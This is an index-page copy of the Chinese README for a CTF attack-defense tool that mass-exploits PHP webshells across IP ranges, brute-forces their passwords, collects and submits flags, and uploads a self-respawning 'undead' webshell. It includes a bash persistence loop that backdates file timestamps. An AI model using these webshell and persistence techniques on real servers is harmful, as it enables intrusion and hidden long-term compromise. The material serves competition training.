Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/ares-x/awd-predator-framework

AWD攻防赛webshell批量利用框架
https://github.com/ares-x/awd-predator-framework

awd ctf ctf-framework ctf-tools

Last synced: 25 days ago
JSON representation

AWD攻防赛webshell批量利用框架

Awesome Lists containing this project

README

        

AWD Predator Framework v2.0

--code by AresX

* 在AWD攻防赛中通过给定的webshell批量获取提交flag

* 为不会现场挖洞写脚本的菜鸡准备

* 用py去实现菜刀是一件代码量很大的事情,懒得做也不会做(以后可能会做),所以需要手动设置一句话的功能函数和方法

* 针对简单的单参数传递的一句话和特定的加密一句话

# 启动

python console.py

# webshell

**添加已知的webshell,仅支持php,GET和POST方法使用eval和exec函数的一句话木马**

### 添加webshell

命令`add`

使用方法: `add [shell path] [pwd] [type(eval/exec)] [method(get/post)]`

如一句话为`` 路径为`x.x.x.x:8001://index/cmd.php`

一句话密码为`cmd` 功能函数为`eval` 方法为`POST`

example:`add :8001/index/cmd.php cmd eval post`

注意这里添加一句话路径不加ip地址,ip地址要使用命令`ip`生成

命令执行后webshell的路径和密码会以字典的形式储存

**处理了使用md5加密的eval函数一句话,**

get方法在添加时,可添加带md5加密的密码的路径

如:`add :8003/x.php?pass=fuckyou x eval get`

post方法请在`flag.py`中修改`for j in POST_eval_shells_path_pwd:`循环中的`eval_POST_data['pass']`为自己的密码,密码将被自动传递

post添加方法同`add :8001/index/cmd.php cmd eval post`

### 显示添加的webshell

命令`show`

将显示所有添加的webshell路径和密码

### 保存,读取,清空webshell
*保存已经添加的webshell路径和密码,方便临场修改代码*

保存:`save`
读取:`load`
清空:`clear` //清空不会清空已经储存的webshell,除非在清空后执行保存命令

### Webshell爆破

*采用一种提速千倍的爆破方法*

命令: `crack http://xxx.php`

字典储存在`auxi/pwd.txt`中,可自行完善字典

# iplist

**根据输入生成指定段的ip列表**

### 生成列表

命令: `ip x.x.a-b.x`

可设定acb任意段的ip列表,使用'-'连接左右区间

### 添加指定ip

命令: `ip x.x.x.x`

执行命令后,`x.x.x.x`将被添加到ip列表中,会自动去除重复项和进行排序

### 查看已经生成的列表

命令: `showip`

显示生成的ip列表

### 清空ip列表

命令: `clearip`

### 去掉指定ip

命令: `removeip x.x.x.x`

# flag

**通过iplist和webshell获取flag,将获取到的flag提交到指定服务器**

### 获取flag
*遍历iplist中所有的地址尝试通过所有已经添加的webshell获取flag,在执行此命令前需设定iplist,否则报错*

命令:`getflag [command]`

example:`getflag curl www.baidu.com/flag.txt`

获取命令如果不需要修改只需完整输入一次,之后可直接执行`getflag`

### 查看flag

命令: `showflag`

### 提交flag

**攻防赛环境中获取到的flag通常不是标准格式,`flag.py`中的`submit_flag`函数中已经使用了`re.compile(r'flag{\w+?}')`尝试匹配标准flag格式**
**如果出现问题,请自行在`flag.py`文件的`submit_flag`函数中使用正则匹配获得标准flag进行提交**

*提交flag 需设定提交flag的链接,以及cookie和data,使用"?"替换flag在data中所在的参数*

命令: `submit [url] [cookie] [data](use '?' replace the flag )`

example: `submit http:xxx.xxx.xx/xx/ JSESSIONID=A6F8;route=6cf03 pid=-1&pidName=&flag=?`
**去掉cookie中的空格,data中flag所在位置需用?代替!**

提交命令如果不需要修改只需完整输入一次,之后可直接执行`submit`

submit完成之后会有清空flag的选项(y/n)

### 清空flag

命令: `clearflag`

# 上传

## 文件木马上传

命令: `upload (default='auxi/shell.php')`

默认上传文件为`auxi/shell.php` 如需使用修改默认文件,默认文件为加密不死马

如需上传其他文件,将文件储存在`auxi/`目录下

执行`upload xxx`即可

如上传默认文件,直接执行`upload`

如果文件上传成功,会自动访问一次上传的文件,激活不死马

## 命令木马上传

命令: `cupload`

连接一句话执行bash命令生成不死马`.index1.php`

bash命令为:`system('while true;do echo \'\' >fuck.php;touch -m -d "2017-11-12 10:10:10" .index1.php;sleep 1;done;');`

如果要修改请修改`command.py`中的`data[z0]`

---

### 目录结构
```
###########
├── Readme.md //帮助文档
├── console.py //启动
├── core // 核心模块
│ ├── shells.py //写入,读取,保存webshell
│ ├── flag.py // 获取,提交flag
│ ├── iplist.py // 生成ip列表
│—— auxi //辅助模块
| |—— upload.py //webshell上传功能
| |—— shell.php //默认上传文件
| |—— webshell.txt //一句话储存路径
| |—— command.py //上传bash不死马
|—— data //webshell数据储存

```